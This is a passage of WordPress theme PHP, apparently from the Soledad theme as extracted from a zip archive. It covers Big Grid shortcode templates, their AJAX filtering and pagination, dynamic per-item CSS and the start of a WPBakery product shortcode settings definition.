						echo $title_external . $title_nofollow . $title_attr; ?>
                           title="<?php echo wp_strip_all_tags( $title ); ?>"
                           class="pcbg-bgoverlaytext<?php if ( 'text' == $overlay_type ): echo ' active-overlay'; endif; ?> item-hover"></a>

						<?php if ( $sub_title ) : ?>
                            <div class="pcbg-above item-hover">
                                <div class="pcbg-sub-title"><?php echo $sub_title; ?></div>
                            </div>
						<?php endif; ?>

						<?php if ( $title ) : ?>
                            <div class="pcbg-heading item-hover">
                                <h3 class="pcbg-title"><a
										<?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }
									echo $title_external . $title_nofollow . $title_attr; ?>><?php if ( ! $title_length ) {
											echo $title;
										} else {
											echo wp_trim_words( wp_strip_all_tags( $title ), $title_length, '...' );
										} ?></a></h3>
                            </div>
						<?php endif; ?>

						<?php if ( $desc ) { ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc"><?php echo $desc; ?></div>
                            </div>
						<?php } ?>

						<?php if ( $button_text ) { ?>
                            <div class="pcbg-readmore-sec item-hover">
                                <a <?php if ( $button_link ){ ?>href="<?php echo esc_url( $button_link ); ?>"<?php }
								echo $button_external . $button_nofollow . $button_attr; ?>
                                   class="pcbg-readmorebtn <?php echo 'pcreadmore-icon-' . $readmore_icon_pos; ?>">
                                    <span class="pcrm-text"><?php echo $button_text; ?></span>
									<?php if ( $readmore_icon ):
										vc_icon_element_fonts_enqueue( 'fontawesome' );
										if ( $readmore_icon ) {
											$icon .= '<i class="penci-cup_iconn--i ' . $readmore_icon . '"></i>';
											echo $icon;
										}
									endif; ?>
                                </a>
                            </div>
						<?php } ?>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
<?php
$child_css = '';

if ( isset( $setting['horizontal_position'] ) ) {
	$setting_child = $setting['horizontal_position'];
	$data_extract  = array(
		'left'   => 'margin-right: auto',
		'center' => 'margin-left: auto; margin-right: auto;',
		'right'  => 'margin-left: auto',
	);
	$child_css     .= $block_id . ' ' . $item_id . ' .pcbg-content-inner{' . $data_extract[ $setting_child ] . '}';
}

if ( isset( $setting['vertical_position'] ) ) {
	$setting_child = $setting['vertical_position'];
	$data_extract  = array(
		'top'    => 'flex-start',
		'middle' => 'center',
		'bottom' => 'flex-end',
	);
	$child_css     .= $block_id . ' ' . $item_id . ' .pcbg-content-flex{align-items:' . $data_extract[ $setting_child ] . '}';
}

if ( isset( $setting['text_align'] ) ) {
	$setting_child = $setting['text_align'];
	$data_extract  = array(
		'top'    => 'flex-start',
		'middle' => 'center',
		'bottom' => 'flex-end',
	);
	$child_css     .= $block_id . ' ' . $item_id . ' .pcbg-content-flex{text-align:' . $data_extract[ $setting_child ] . '}';
}

if ( isset( $setting['subtitle_color'] ) ) {
	$child_css .= $block_id . ' .penci-bgrid-based-custom ' . $item_id . ' .pcbg-content-inner .pcbg-above{color: ' . $setting['subtitle_color'] . '}';
	$child_css .= $block_id . ' .penci-bgrid-based-custom ' . $item_id . ' .pcbg-content-inner .pcbg-above span{color: ' . $setting['subtitle_color'] . '}';
	$child_css .= $block_id . ' .penci-bgrid-based-custom ' . $item_id . ' .pcbg-content-inner .pcbg-above a{color: ' . $setting['subtitle_color'] . '}';
}

if ( isset( $setting['title_color'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-content-inner .pcbg-title{color: ' . $setting['title_color'] . '}';
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-content-inner .pcbg-title a{color: ' . $setting['title_color'] . '}';
}

if ( isset( $setting['title_hcolor'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-content-inner .pcbg-title a:hover{color: ' . $setting['title_hcolor'] . '}';
}

if ( isset( $setting['desc_color'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-content-inner .pcbg-meta{color: ' . $setting['desc_color'] . '}';
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-content-inner .pcbg-meta a{color: ' . $setting['desc_color'] . '}';
}

if ( isset( $setting['button_color'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-readmore-sec .pcbg-readmorebtn{color: ' . $setting['button_color'] . '}';
}

if ( isset( $setting['button_hcolor'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-readmore-sec .pcbg-readmorebtn:hover{color: ' . $setting['button_hcolor'] . '}';
}

if ( isset( $setting['button_border_color'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-readmore-sec .pcbg-readmorebtn{border-color: ' . $setting['button_border_color'] . '}';
}

if ( isset( $setting['button_border_hcolor'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-readmore-sec .pcbg-readmorebtn:hover{border-color: ' . $setting['button_border_hcolor'] . '}';
}

if ( isset( $setting['button_bg_color'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-readmore-sec .pcbg-readmorebtn{background-color: ' . $setting['button_bg_color'] . '}';
}

if ( isset( $setting['button_bg_hcolor'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-readmore-sec .pcbg-readmorebtn:hover{background-color: ' . $setting['button_bg_hcolor'] . '}';
}

if ( isset( $setting['bgoverlay_padding'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-content-inner{padding: ' . $setting['bgoverlay_padding'] . '}';
}

if ( isset( $setting['bgoverlay_margin'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-content-inner{margin: ' . $setting['bgoverlay_margin'] . '}';
}

if ( $child_css ) {
	echo '<style>';
	echo $child_css;
	echo '</style>';
}
PK     N\m`N  N  0  inc/js_composer/shortcodes/big_grid/frontend.phpnu [        <?php
$output           = $penci_block_width = $el_class = $css_animation = $css = $bgquery_type = $bg_columns = $bg_columns_mobile = '';
$title_anivisi    = $apply_spe_bg_subtitle = $apply_spe_bg_title = $apply_spe_bg_meta = $hide_subtitle_mobile = $hide_desc_mobile = $hide_readmore_mobile = '';
$bg_postmeta      = $primary_cat = $show_readmore = $hide_cat_small = $hide_meta_small = $hide_rm_small = $show_formaticon = $show_reviewpie = $paging = $paging_align = $is_big_item = $post_meta = $hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = '';
$title_external   = $title_nofollow = $title_attr = $image_ratio = $item_id = $button_external = $button_nofollow = $button_attr = $button_text = $button_link = $sub_title = $desc = $biggrid_items = '';
$bg_gap           = $bg_othergap = $bg_height = $paging_matop = $content_horizontal_position = $content_vertical_position = $content_text_align = $content_padding = $content_margin = $overlay_opacity = $spe_bg_subtitle = $spe_bg_hsubtitle = $spe_bg_title = $spe_bg_htitle = $spe_bg_meta = $spe_bg_hmeta = $bgitem_bg = $bgitem_borders = $bgitem_borderwidth = $bgitem_padding = $bgsub_title = $bgsub_title_hover = $bgtitle_color = $bgtitle_color_hover = $bgdesc_color = $bgdesc_link_color = $bgdesc_link_hcolor = $readmore_color = $readmore_hcolor = $bgreadmore_color = $bgreadmore_hcolor = $bgreadmore_bgcolor = $bgreadmore_hbgcolor = $bgreadmore_borderwidth = $bgreadmore_borderradius = $bgreadmore_padding = $pagi_mwidth = $pagi_color = '';
$pagi_hcolor      = $bgtitle_typo_big = $bgpagi_color = $bgpagi_hcolor = $bgpagi_bgcolor = $bgpagi_hbgcolor = $bgpagi_borderwidth = $bgpagi_borderradius = $bgpagi_padding = '';
$bgsub_title_typo = $bgtitle_typo = $title_typo = $bgreadm_typo = $bgpagi_typo = $responsive_spacing = '';
$cspost_enable    = $cspost_cpost_meta = $cspost_cpost_acf_meta = $cspost_cpost_meta_label = $cspost_cpost_meta_divider = '';
$atts             = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

// get data from settings
$biggid_type  = $bgquery_type ? $bgquery_type : 'post';
$biggid_style = $style ? $style : 'style-1';
if ( isset( $_GET['bgstyle'] ) ) {
	$biggid_style = esc_attr( $_GET['bgstyle'] );
}
$overlay_type      = $overlay_type ? $overlay_type : 'whole';
$bgcontent_pos     = $bgcontent_pos ? $bgcontent_pos : 'on';
$content_display   = $content_display ? $content_display : 'block';
$disable_lazy      = $disable_lazy ? $disable_lazy : '';
$image_hover       = $image_hover ? $image_hover : 'zoom-in';
$text_overlay      = $text_overlay ? $text_overlay : 'none';
$text_overlay_ani  = $text_overlay_ani ? $text_overlay_ani : 'movetop';
$onecol_mobile     = $onecol_mobile ? $onecol_mobile : '';
$sameh_mobile      = $sameh_mobile ? $sameh_mobile : '';
$thumb_size        = $thumb_size ? $thumb_size : 'penci-masonry-thumb';
$bthumb_size       = $bthumb_size ? $bthumb_size : 'penci-full-thumb';
$mthumb_size       = $mthumb_size ? $mthumb_size : 'penci-masonry-thumb';
$title_length      = $title_length ? $title_length : '';
$readmore_icon     = $readmore_icon ? $readmore_icon : '';
$readmore_icon_pos = $readmore_icon_pos ? $readmore_icon_pos : 'right';
$formaticon_pos    = $formaticon_pos ? $formaticon_pos : 'top-right';
$reviewpie_pos     = $reviewpie_pos ? $reviewpie_pos : 'top-left';

$wrapper_class   = $data_class = '';
$flag_style      = false;
$clear_fix_class = 'penci-clearfix ';
if ( in_array( $biggid_style, array( 'style-1' ) ) ) {
	$data_class .= ' penci-dflex';
} else {
	$data_class .= ' penci-dblock';
}

if ( ! in_array( $biggid_style, array( 'style-1', 'style-2' ) ) ) {
	$flag_style    = true;
	$data_class   .= ' penci-fixh';
	$bgcontent_pos = 'on';
}

if ( 'style-1' == $biggid_style || 'style-2' == $biggid_style ) {
	$bg_columns        = $bg_columns ? $bg_columns : '3';
	$bg_columns_tablet = $bg_columns_tablet ? $bg_columns_tablet : '';
	$bg_columns_mobile = $bg_columns_mobile ? $bg_columns_mobile : '1';
	$wrapper_class    .= ' penci-grid-col-' . $bg_columns;
	if ( $bg_columns_tablet ) {
		$wrapper_class .= ' penci-grid-tcol-' . $bg_columns_tablet;
	}
	$wrapper_class .= ' penci-grid-mcol-' . $bg_columns_mobile;
}

$wrapper_class .= ' penci-bgrid-based-' . $biggid_type . ' penci-bgrid-' . $biggid_style . ' pcbg-ficonpo-' . $formaticon_pos . ' pcbg-reiconpo-' . $reviewpie_pos . ' penci-bgrid-content-' . $bgcontent_pos . ' pencibg-imageh-' . $image_hover . ' pencibg-texth-' . $text_overlay . ' pencibg-textani-' . $text_overlay_ani;
if ( $flag_style && 'yes' == $onecol_mobile ) {
	$wrapper_class .= ' penci-bgrid-monecol';
}
if ( $flag_style && 'yes' == $sameh_mobile ) {
	$wrapper_class .= ' penci-bgrid-msameh';
}

if ( 'yes' == $title_anivisi ) {
	$wrapper_class .= ' pcbg-titles-visible';
}

if ( 'yes' == $apply_spe_bg_subtitle ) {
	$wrapper_class .= ' pcbg-mask-subtitle';
}

if ( 'yes' == $apply_spe_bg_title ) {
	$wrapper_class .= ' pcbg-mask-title';
}

if ( 'yes' == $apply_spe_bg_meta ) {
	$wrapper_class .= ' pcbg-mask-meta';
}

if ( in_array( $text_overlay_ani, array( 'movetop', 'movebottom', 'moveleft', 'moveright' ) ) ) {
	$wrapper_class .= ' textop';
} else {
	$wrapper_class .= ' notextop';
}

if ( 'yes' == $hide_subtitle_mobile ) {
	$wrapper_class .= ' hide-msubtitle';
}
if ( 'yes' == $hide_desc_mobile ) {
	$wrapper_class .= ' hide-mdesc';
}
if ( 'yes' == $hide_readmore_mobile ) {
	$wrapper_class .= ' hide-mreadmorebt';
}
$big_items = penci_big_grid_is_big_items( $biggid_style );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class  = 'penci-clearfix penci-biggrid-wrapper';
$css_class .= $wrapper_class;
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id   = Penci_Vc_Helper::get_unique_id_block( 'biggrid' );
?>
	<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php
		$atts['blockid'] = $block_id;
		add_action(
			'penci_block_title_extra_' . $block_id,
			function () use ( $atts ) {
				$link_group_cats   = $atts['biggrid_ajaxfilter_cat'];
				$link_group_tags   = $atts['biggrid_ajaxfilter_tag'];
				$link_group_author = $atts['biggrid_ajaxfilter_author'];
				$link_group_out    = $link_group_out_before = $link_group_out_after = '';

				$data_settings_tabs                       = array();
				$data_settings_tabs['query']              = $atts['build_query'];
				$data_settings_tabs['style']              = $atts['style'];
				$data_settings_tabs['overlay_type']       = $atts['overlay_type'];
				$data_settings_tabs['bgcontent_pos']      = $atts['bgcontent_pos'];
				$data_settings_tabs['content_display']    = $atts['content_display'];
				$data_settings_tabs['disable_lazy']       = $atts['disable_lazy'] == 'yes';
				$data_settings_tabs['image_hover']        = $atts['image_hover'];
				$data_settings_tabs['text_overlay']       = $atts['text_overlay'];
				$data_settings_tabs['text_overlay_ani']   = $atts['text_overlay_ani'];
				$data_settings_tabs['thumb_size']         = $atts['thumb_size'];
				$data_settings_tabs['bthumb_size']        = $atts['bthumb_size'];
				$data_settings_tabs['mthumb_size']        = $atts['mthumb_size'];
				$data_settings_tabs['bg_postmeta']        = $atts['bg_postmeta'];
				$data_settings_tabs['primary_cat']        = $atts['primary_cat'] == 'yes';
				$data_settings_tabs['show_readmore']      = $atts['show_readmore'] == 'yes';
				$data_settings_tabs['hide_cat_small']     = $atts['hide_cat_small'] == 'yes';
				$data_settings_tabs['hide_meta_small']    = $atts['hide_meta_small'] == 'yes';
				$data_settings_tabs['hide_rm_small']      = $atts['hide_rm_small'] == 'yes';
				$data_settings_tabs['title_length']       = $atts['title_length'];
				$data_settings_tabs['readmore_icon']      = $atts['readmore_icon'] == 'yes';
				$data_settings_tabs['show_formaticon']    = $atts['show_formaticon'] == 'yes';
				$data_settings_tabs['show_reviewpie']     = $atts['show_reviewpie'] == 'yes';
				$data_settings_tabs['readmore_icon_pos']  = $atts['readmore_icon_pos'];
				$data_settings_tabs['hide_excerpt_small'] = $atts['hide_excerpt_small'];
				$data_settings_tabs['excerpt_length']     = $atts['excerpt_length'];
				$data_settings_tabs['jscomposer']         = 'yes';

				$query = penci_build_args_query( $atts['build_query'] );

				$ppp = isset( $query['posts_per_page'] ) && $query['posts_per_page'] ? $query['posts_per_page'] : get_option( 'posts_per_page' );

				$link_group_out_before .= '<nav data-number="' . $ppp . '" data-query_type="ajaxtab" data-layout="' . esc_attr( $atts['style'] ) . '" data-settings="' . htmlentities( json_encode( $data_settings_tabs ), ENT_QUOTES, 'UTF-8' ) . '" data-more="' . esc_attr( $atts['group_more_link_text'] ) . '" class="pcnav-lgroup"><ul class="pcflx">';
				$link_group_out_after   = '</ul></nav>';

				$has_link = false;

				if ( $link_group_cats ) {
					$has_link        = true;
					$link_group_cats = explode( ',', $link_group_cats );
					foreach ( $link_group_cats as $link_cat ) {
						$link_group_out .= '<li><a class="pc-ajaxfil-link" href="#" aria-label="Category" data-paged="1" data-id="' . md5( 'cat-link-' . $link_cat ) . '" data-cat="' . $link_cat . '">' . get_term_field( 'name', $link_cat ) . '</a></li>';
					}
				}

				if ( $link_group_tags ) {
					$has_link        = true;
					$link_group_tags = explode( ',', $link_group_tags );
					foreach ( $link_group_tags as $link_tag ) {
						$link_group_out .= '<li><a class="pc-ajaxfil-link" href="#" aria-label="Paged" data-paged="1" data-id="' . md5( 'tag-link-' . $link_tag ) . '" data-tag="' . $link_tag . '">' . get_term_field( 'name', $link_tag ) . '</a></li>';
					}
				}

				if ( $link_group_author ) {
					$has_link          = true;
					$link_group_author = explode( ',', $link_group_author );
					foreach ( $link_group_author as $author ) {
						$link_group_out .= '<li><a class="pc-ajaxfil-link" href="#" aria-label="Paged" data-paged="1" data-id="' . md5( 'author-link-' . $author ) . '" data-cat="' . $author . '">' . get_the_author_meta( 'nicename', $author ) . '</a></li>';
					}
				}

				if ( 'nextprev' == $atts['paging'] ) {
					$link_group_out .= '</ul><ul class="pcflx-nav">';
					$link_group_out .= '<li class="pcaj-nav-item pcaj-prev"><a class="disable pc-ajaxfil-link pcaj-nav-link prev" data-id="" href="#" aria-label="Previous"><i class="penciicon-left-chevron"></i></a></li>';
					$link_group_out .= '<li class="pcaj-nav-item pcaj-next"><a class="pc-ajaxfil-link pcaj-nav-link next" data-id="" href="#" aria-label="Next"><i class="penciicon-right-chevron"></i></a></li>';
				}

				if ( $link_group_out ) {
					$first_class            = $has_link ? 'visible' : 'hidden-item';
					$link_group_out_before .= '<li class="all ' . $first_class . '"><a data-paged="1" class="pc-ajaxfil-link current-item" data-id="default" href="#" aria-label="Paged">' . $atts['group_more_defaultab_text'] . '</a></li>';
					wp_enqueue_script( 'penci_ajax_filter_bg' );
					echo $link_group_out_before . $link_group_out . $link_group_out_after;
				}
			}
		);
		Penci_Vc_Helper::markup_block_title( $atts );
		?>
		<div class="penci-clearfix penci-biggrid penci-bg<?php echo $biggid_style; ?> penci-bgel">
			<div class="penci-biggrid-inner">
				<?php
				$bg = 1;
				if ( 'post' == $biggid_type ) {
					$post_meta       = $bg_postmeta ? explode( ',', $bg_postmeta ) : array(
						'cat',
						'title',
						'author',
						'date',
					);
					$primary_cat     = $primary_cat ? $primary_cat == 'yes' : '';
					$show_readmore   = $show_readmore ? $show_readmore == 'yes' : '';
					$hide_cat_small  = $hide_cat_small ? $hide_cat_small == 'yes' : '';
					$hide_meta_small = $hide_meta_small ? $hide_meta_small == 'yes' : '';
					$hide_rm_small   = $hide_rm_small ? $hide_rm_small == 'yes' : '';
					$show_formaticon = $show_formaticon ? $show_formaticon == 'yes' : '';
					$show_reviewpie  = $show_reviewpie ? $show_reviewpie == 'yes' : '';
					$paging          = $paging ? $paging : 'none';
					$paging_align    = $paging_align ? $paging_align : 'align-center';


					$args          = penci_build_args_query( $build_query );
					$args['paged'] = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );

					$query_custom = new \WP_Query( $args );
					if ( ! $query_custom->have_posts() ) {
						$output = '';
						if ( current_user_can( 'manage_options' ) ) {
							$output .= '<div class="penci-missing-settings">';
							$output .= '<p style="margin-bottom: 4px;">This message appears for administrator users only</p>';
							$output .= '<span>Big Grid</span>';
							$output .= penci_get_setting( 'penci_ajaxsearch_no_post' );
							$output .= '</div>';
						}

						echo $output;
					}

					if ( $query_custom->have_posts() ) {
						$num_posts = $query_custom->post_count;
						if ( $flag_style ) {
							echo '<div class="penci-big-grid-ajax-data">';
						}

						echo '<div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
						while ( $query_custom->have_posts() ) :
							$query_custom->the_post();
							$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = false;
							$is_big_item         = '';
							$surplus             = penci_big_grid_count_classes( $bg, $biggid_style, true );
							$thumbnail           = $thumb_size;
							if ( ! empty( $big_items ) && in_array( $surplus, $big_items ) ) {
								$thumbnail   = $bthumb_size;
								$is_big_item = ' pcbg-big-item';
							}
							if ( penci_is_mobile() ) {
								$thumbnail = $mthumb_size;
							}
							if ( ! $is_big_item ) {
								if ( 'yes' == $hide_cat_small ) {
									$hide_cat_small_flag = true;
								}
								if ( 'yes' == $hide_meta_small ) {
									$hide_meta_small_flag = true;
								}
								if ( 'yes' == $hide_rm_small ) {
									$hide_rm_small_flag = true;
								}
							}

							include __DIR__ . '/based-post.php';

							if ( $flag_style && $surplus == 0 && $bg < $num_posts ) {
								echo '</div><div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
							}

							++$bg;
						endwhile;
						echo '</div>';

						if ( $flag_style ) {
							echo '</div>';
						}

						if ( 'loadmore' == $paging || 'scroll' == $paging ) {
							$data_settings                      = array();
							$data_settings['query']             = $args;
							$data_settings['style']             = $biggid_style;
							$data_settings['overlay_type']      = $overlay_type;
							$data_settings['bgcontent_pos']     = $bgcontent_pos;
							$data_settings['content_display']   = $content_display;
							$data_settings['disable_lazy']      = $disable_lazy;
							$data_settings['image_hover']       = $image_hover;
							$data_settings['text_overlay']      = $text_overlay;
							$data_settings['text_overlay_ani']  = $text_overlay_ani;
							$data_settings['thumb_size']        = $thumb_size;
							$data_settings['bthumb_size']       = $bthumb_size;
							$data_settings['mthumb_size']       = $mthumb_size;
							$data_settings['bg_postmeta']       = $post_meta;
							$data_settings['primary_cat']       = $primary_cat == 'yes';
							$data_settings['show_readmore']     = $show_readmore == 'yes';
							$data_settings['hide_cat_small']    = $hide_cat_small == 'yes';
							$data_settings['hide_meta_small']   = $hide_meta_small == 'yes';
							$data_settings['hide_rm_small']     = $hide_rm_small == 'yes';
							$data_settings['title_length']      = $title_length;
							$data_settings['readmore_icon']     = $readmore_icon;
							$data_settings['show_formaticon']   = $show_formaticon == 'yes';
							$data_settings['show_reviewpie']    = $show_reviewpie == 'yes';
							$data_settings['readmore_icon_pos'] = $readmore_icon_pos;
							$data_paged                         = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );

							$data_settings_ajax = htmlentities( json_encode( $data_settings ), ENT_QUOTES, 'UTF-8' );

							$button_class = ' penci-ajax-more penci-bgajax-more-click';
							if ( 'loadmore' == $paging ) :
								wp_enqueue_script( 'penci_bgajax_more_posts' );
							endif;
							if ( 'scroll' == $paging ) :
								$button_class = ' penci-ajax-more penci-bgajax-more-scroll';
								wp_enqueue_script( 'penci_bgajax_more_scroll' );
							endif;
							?>
							<div class="pcbg-paging penci-pagination <?php echo 'pcbg-paging-' . $paging_align . $button_class; ?>">
								<a class="penci-ajax-more-button" href="#" aria-label="More Posts" data-layout="<?php echo $biggid_style; ?>"
									data-settings="<?php echo $data_settings_ajax; ?>"
									data-pagednum="<?php echo( (int) $data_paged + 1 ); ?>"
									data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>">
									<span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
											class="ajaxdot"></span><?php penci_fawesome_icon( 'fas fa-sync' ); ?>
								</a>
							</div>
							<?php
						} elseif ( 'none' != $paging ) {
							echo penci_pagination_numbers( $query_custom, $paging_align );
						}
					}
					wp_reset_postdata();

				} else {
					$biggrid_items = $biggrid_items ? (array) vc_param_group_parse_atts( $biggrid_items ) : array();
					$num_posts     = count( $biggrid_items );
					if ( ! empty( $biggrid_items ) ) {
						echo '<div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
						foreach ( $biggrid_items as $setting ) {
							$is_big_item = '';
							$surplus     = penci_big_grid_count_classes( $bg, $biggid_style, true );
							$thumbnail   = $thumb_size;
							if ( ! empty( $big_items ) && in_array( $surplus, $big_items ) ) {
								$thumbnail   = $bthumb_size;
								$is_big_item = ' pcbg-big-item';
							}
							if ( penci_is_mobile() ) {
								$thumbnail = $mthumb_size;
							}

							/* Get Custom Items Data */
							$item_id     = ' vc-repeater-item-' . $bg;
							$image_data  = $setting['image'] ? wp_get_attachment_url( $setting['image'] ) : '';
							$image_url   = penci_get_image_size_url( $image_data, $thumbnail );
							$image_ratio = penci_get_ratio_size_based_url( $image_data );
							$sub_title   = $setting['sub_title'] ? $setting['sub_title'] : '';

							$title           = $setting['title'] ? $setting['title'] : '';
							$title_link      = '';
							$title_link_prop = isset( $setting['title_link'] ) ? vc_build_link( $setting['title_link'] ) : '';
							if ( $title_link_prop ) {
								$title_link       = $title_link_prop['url'] ? $title_link_prop['url'] : '';
								$title_external   = $title_link_prop['target'] ? ' target="' . esc_attr( $title_link_prop['target'] ) . '"' : '';
								$title_link_title = $title_link_prop['title'] ? ' title="' . esc_attr( $title_link_prop['title'] ) . '"' : '';
							}


							$desc = $setting['desc'] ? $setting['desc'] : '';

							$button_text      = $setting['button_text'] ? $setting['button_text'] : '';
							$button_link      = '';
							$button_link_prop = isset( $setting['button_link'] ) ? vc_build_link( $setting['button_link'] ) : '';
							if ( $button_link_prop ) {
								$button_link       = $button_link_prop ? $button_link_prop['url'] : '';
								$button_external   = $button_link_prop['target'] ? ' target="' . esc_attr( $button_link_prop['target'] ) . '"' : '';
								$button_link_title = $button_link_prop['title'] ? ' target="' . esc_attr( $button_link_prop['title'] ) . '"' : '';
							}

							include __DIR__ . '/custom.php';

							if ( $flag_style && $surplus == 0 && $bg < $num_posts ) {
								echo '</div><div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
							}

							++$bg;
						}
						echo '</div>';
					}
				}
				?>
			</div>
			<?php
			if ( $atts['biggrid_ajaxfilter_cat'] || $atts['biggrid_ajaxfilter_tag'] || $atts['biggrid_ajaxfilter_author'] || 'nextprev' == $atts['paging'] ) {
				echo penci_get_html_animation_loading( $atts['biggrid_ajax_loading_style'] );
			}
			?>
		</div>
	</div>
<?php
require __DIR__ . '/css.php';
PK     N\I
G  G  /  inc/js_composer/shortcodes/product/settings.phpnu [        <?php
$group_color = 'Typo & Color';
vc_map( array(
	'base'          => 'penci_product',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/product/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Product', 'soledad' ),
	'description'   => __( 'Show the latest product', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => __( 'Date Source', 'soledad' ),
			'value'            => array(
				esc_html__( 'All Products', 'soledad' )            => 'product',
				esc_html__( 'Featured Products', 'soledad' )       => 'featured',
				esc_html__( 'Sale Products', 'soledad' )           => 'sale',
				esc_html__( 'Products with NEW label', 'soledad' ) => 'new',
				esc_html__( 'Bestsellers', 'soledad' )             => 'bestselling',
				esc_html__( 'List of IDs', 'soledad' )             => 'ids',
				esc_html__( 'Top Rated Products', 'soledad' )      => 'top_rated_products',
				esc_html__( 'Recent Viewed', 'soledad' )           => 'recent_viewed',
			),
			'std'              => 'product',
			'param_name'       => 'post_type',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => __( 'Included Only', 'soledad' ),
			'value'            => '',
			'param_name'       => 'include',
			'edit_field_class' => 'vc_col-sm-6',
			'hint'             => esc_html__( 'Add products by title.', 'soledad' ),
			'settings'         => array(
				'multiple' => true,
				'sortable' => true,
				'groups'   => true
			),
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => __( 'Excluded', 'soledad' ),
			'value'            => '',
			'param_name'       => 'exclude',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => __( 'Categories OR Tags', 'soledad' ),
			'value'            => '',
			'param_name'       => 'taxonomies',
			'edit_field_class' => 'vc_col-sm-6',
			'settings'         => array(
				'multiple'       => true,
				// is multiple values allowed? default false
				// 'sortable' => true, // is values are sortable? default false
				'min_length'     => 1,
				// min length to start search -> default 2
				// 'no_hide' => true, // In UI after select doesn't hide an select list, default false
				'groups'         => true,
				// In UI show results grouped by groups, default false
				'unique_values'  => true,
				// In UI show results except selected. NB! You should manually check values in backend, default false
				'display_inline' => true,
				// In UI show results inline view, default false (each value in own line)
				'delay'          => 500,
				// delay for search. default 500
				'auto_focus'     => true,
				// auto focus input, default true
			),
		),
		array(
			'type'             => 'dropdown',
			'heading'          => __( 'Order by', 'soledad' ),
			'value'            => array(
				''                                            => '',
				esc_html__( 'Date', 'soledad' )               => 'date',
				esc_html__( 'ID', 'soledad' )                 => 'id',
				esc_html__( 'Author', 'soledad' )             => 'author',
				esc_html__( 'Title', 'soledad' )              => 'title',
				esc_html__( 'Last modified date', 'soledad' ) => 'modified',
				esc_html__( 'Number of comments', 'soledad' ) => 'comment_count',
				esc_html__( 'Menu order', 'soledad' )         => 'menu_order',
				esc_html__( 'Meta value', 'soledad' )         => 'meta_value',
				esc_html__( 'Meta value number', 'soledad' )  => 'meta_value_num',
				esc_html__( 'Random order', 'soledad' )       => 'rand',
				esc_html__( 'Price', 'soledad' )              => 'price',
			),
			'std'              => '',
			'edit_field_class' => 'vc_col-sm-6',
			'param_name'       => 'orderby',
		),
		array(
			'type'             => 'textfield',
			'heading'          => __( 'Offset', 'soledad' ),
			'value'            => '',
			'param_name'       => 'offset',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => __( 'Query Type', 'soledad' ),
			'value'            => array(
				esc_html__( 'OR', 'soledad' )  => 'or',
				esc_html__( 'AND', 'soledad' ) => 'and',
			),
			'std'              => 'or',
			'param_name'       => 'query_type',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => __( 'Sort order', 'soledad' ),
			'value'            => array(
				esc_html__( 'Inherit', 'soledad' )    => '',
				esc_html__( 'Descending', 'soledad' ) => 'DESC',
				esc_html__( 'Ascending', 'soledad' )  => 'ASC',
			),
			'std'              => 'DESC',
			'param_name'       => 'order',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'        => 'textfield',
			'heading'     => __( 'Meta Key', 'soledad' ),
			'description' => esc_html__( 'Input meta key for grid ordering.', 'soledad' ),
			'value'       => '',
			'std'         => '',
			'param_name'  => 'meta_key',
		),
	), array(
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Products Display', 'soledad' ),
			'value'            => array(
				esc_html__( 'Grid', 'soledad' )     => 'grid',
				esc_html__( 'List', 'soledad' )     => 'list',
				esc_html__( 'Carousel', 'soledad' ) => 'carousel',
			),
			'std'              => 'grid',
			'param_name'       => 'layout',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Columns', 'soledad' ),
			'value'            => array(
